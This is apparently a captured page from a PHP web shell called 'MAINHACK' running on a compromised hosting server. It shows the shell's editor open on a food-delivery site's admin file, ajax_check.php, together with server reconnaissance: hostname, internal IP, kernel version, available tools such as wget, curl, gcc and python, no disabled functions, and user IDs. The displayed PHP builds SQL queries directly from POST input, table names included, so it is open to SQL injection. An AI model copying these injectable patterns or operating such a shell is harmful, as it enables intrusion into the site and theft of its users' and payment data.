[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ajax_check.php
<?php include('../settings/settings.php'); if(isset($_POST['phone'])){ $phn=$_POST['phone']; $show=new oops($db); $stmt=$show->readwithdata($_POST['tablename'],'phone',$phn); $num=$stmt->rowCount(); if($num>0){ echo "1"; //echo "<span class='label label-danger'>Phone Number already in use.Please Give another Phone Number</span>"; }else{ echo "0"; } } if(isset($_POST['email'])){ $email=$_POST['email']; $show=new oops($db); $stmt=$show->readwithdata($_POST['tablename'],'email',$email); $num=$stmt->rowCount(); if($num>0){ echo "1"; //echo "<span class='label label-danger'>Phone Number already in use.Please Give another Phone Number</span>"; }else{ echo "0"; } } if(isset($_POST['status'])) { $st=trim($_POST['status']); $id=$_POST['id']; $table=$_POST['table']; $stmt=$con->prepare("update $table set status='".$st."' where id='".$id."'"); $stmt->execute(); } if(isset($_POST['pay_status'])) { $st=trim($_POST['pay_status']); $id=$_POST['id']; $table=$_POST['table']; $stmt=$con->prepare("update $table set status='".$st."',amount=0 where id='".$id."'"); $stmt->execute(); $stmt1=$con->prepare("insert into payout_data(maker_id,last_amount) values('".$_POST['maker_id']."','".$_POST['amount']."')"); $stmt1->execute(); } if(isset($_POST['featured'])) { $st=trim($_POST['featured']); $id=$_POST['id']; $table=$_POST['table']; $stmt=$con->prepare("update $table set featured='".$st."' where id='".$id."'"); $stmt->execute(); } if(isset($_POST['ostatus'])) { $st=trim($_POST['ostatus']); $id=$_POST['id']; $table=$_POST['table']; $stmt=$con->prepare("update $table set order_status='".$st."' where id='".$id."'"); $stmt->execute(); } if(isset($_POST['assign'])) { //$st=trim($_POST['assign']); $id=$_POST['id']; $st=explode(':',trim($_POST['assign'])); $date1=date("Y-m-d")." 00:00:00"; $date2=date("Y-m-d")." 23:59:59"; $orderid=$_POST['orderid']; $data = array( 'order_id' => $orderid, 'status' => 'Your Order has been assigned. It will be picked up soon.', ); $show->insert('datalog',$data); $stmt=$con->prepare("update place_order set agent_id='".$st[0]."',delivery_agent='".$st[1]."',phone='".$st[2]."' where id='".$id."'"); $stmt->execute(); //$s1="insert into " } if(isset($_POST['search'])) { $name=trim($_POST['search']); $query2="SELECT * FROM food_maker WHERE name LIKE '%$name%' OR title LIKE '%$name%' OR phone LIKE '$name%' OR maker_id LIKE '$name%'"; $r=$con->prepare($query2); $r->execute(); echo "<ul>"; while ($query3 = $r->fetch(PDO::FETCH_ASSOC)){ { ?> <li class='show11' align='left' onclick='fill("<?php echo $query3['maker_id']; ?>","<?=htmlspecialchars($query3['title'])?>","<?php echo $query3['phone']; ?>")'><?=$query3['maker_id'];?>| <?=$query3['title'];?>| <?=$query3['phone'];?></li> <?php } echo "</ul>"; } } if(isset($_POST['locality'])) { $name=trim($_POST['locality']); $a=trim($_POST['dynamic_num']); $query2="SELECT * FROM district WHERE locality LIKE '%$name%' OR locality LIKE '$name%' OR locality LIKE '$name%'"; $r=$con->prepare($query2); $r->execute(); echo "<ul>"; while ($query3 = $r->fetch(PDO::FETCH_ASSOC)){ { ?> <li class='show11' align='left' onclick='filld("<?=$a?>","<?php echo $query3['locality']; ?>")'><?=$query3['locality'];?>| <?=$query3['district'];?></li> <?php } echo "</ul>"; } } if(isset($_POST['maker_id'])) { //echo $_POST['maker_id']; ?> <div class="card"> <div class="card-body"> <div class="table-responsive"> <table id="basic-datatables" class="display table table-striped table-hover"> <thead> <tr> <th>ID</th> <th>Date/ Book ID</th> <th>Home Cook Name/ID</th> <th>G.Total</th> <th>Comission(%)</th> <th>Comission Amt</th> <th>Payment Status</th> </tr> </thead> <tbody> <?php $comi_total=0; $count=1; $sq="select sajh_comission.book_id,sajh_comission.gross_total,sajh_comission.commission_amt,sajh_comission.commission,sajh_comission.cook_id,sajh_comission.date,sajh_comission.paid_status,sajh_comission.paid_date,sajh_comission.status,food_maker.name,food_maker.title,food_maker.email,food_maker.phone from sajh_comission left join food_maker on food_maker.maker_id=sajh_comission.cook_id where food_maker.maker_id='".$_POST['maker_id']."' and (month(sajh_comission.date)='".$_POST['month']."' || sajh_comission.date between '".$_POST['from_date']."' and '".$_POST['to_date']."') order by sajh_comission.date desc "; //echo $sq; $stmt=$con->prepare($sq); $stmt->execute(); $num=$stmt->rowCount(); if($num>0){ while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; $comi_total +=$row['commission_amt']; echo "<tr> <td>$count</td> <td>".date('d-m-Y',strtotime($row['date']))."<br>".$row['book_id']."</td> <td>".$row['title']."<br>".$row['cook_id']."</td> <td>".$row['gross_total']."</td> <td>".$row['commission']."</td> <td>".$row['commission_amt']."</td> <td style='color:red;'>".$row['paid_status']."</td> </tr>"; ++$count; } echo "<tr style='background-color: #d0d0e1;' ><td colspan='4'></td><td>Total Commission :</td><td>$comi_total</td><td></td></tr>"; }else{ echo "<tr><td><h4>No data found</h4></td></tr>";} ?> </tbody> </table> </div> </div></div> <?php } if(isset($_POST['our_special'])) { $st=trim($_POST['our_special']); $id=$_POST['id']; $table=$_POST['table']; $stmt=$con->prepare("update $table set our_special='".$st."' where id='".$id."'"); $stmt->execute(); }if(isset($_POST['district'])){ $show=new Oops($db); ?> <select name="city" class="form-control" id="city" > <option value="">city</option> <?php $stmt=$show->readwithdata('city','district',$_POST['district']); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['city']."'>".$row['city']."</option>"; } }else{ echo""; } ?> </select> <?php }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.15 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619